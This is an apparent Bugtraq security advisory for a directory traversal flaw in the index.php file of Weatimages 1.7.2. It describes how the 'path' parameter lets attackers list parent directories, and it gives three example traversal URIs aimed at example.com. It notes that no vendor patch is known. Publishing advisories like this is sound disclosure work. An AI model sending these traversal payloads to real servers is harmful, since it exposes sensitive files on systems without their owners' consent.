Weatimages 'index.php' Information Disclosure Vulnerability

Bugtraq ID:	40182
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 31 2009 12:00AM
Updated:	Dec 31 2009 12:00AM
Credit:	e.wiZz!
Vulnerable:	Vladimir Nazarkin Weatimages 1.7.2
Not Vulnerable:

Weatimages 'index.php' Information Disclosure Vulnerability

Weatimages is prone to an information-disclosure vulnerability.

This issue can be exploited to list the content of parent directories through directory traversal sequences, allowing attackers to gain access to potentially sensitive information on the vulnerable server; other attacks may also be possible.

Weatimages 1.7.2 is vulnerable; other versions may also be affected.

Weatimages 'index.php' Information Disclosure Vulnerability

An attacker can carry out this attack using readily available network utilities.

The following example URIs are available:

http://www.example.com/index.php?path=../
http://www.example.com/index.php?path=../..
http://www.example.com/index.php?path=..\anything

Weatimages 'index.php' Information Disclosure Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Weatimages 'index.php' Information Disclosure Vulnerability

References:

• Weatimages Homepage (Vladimir Nazarkin)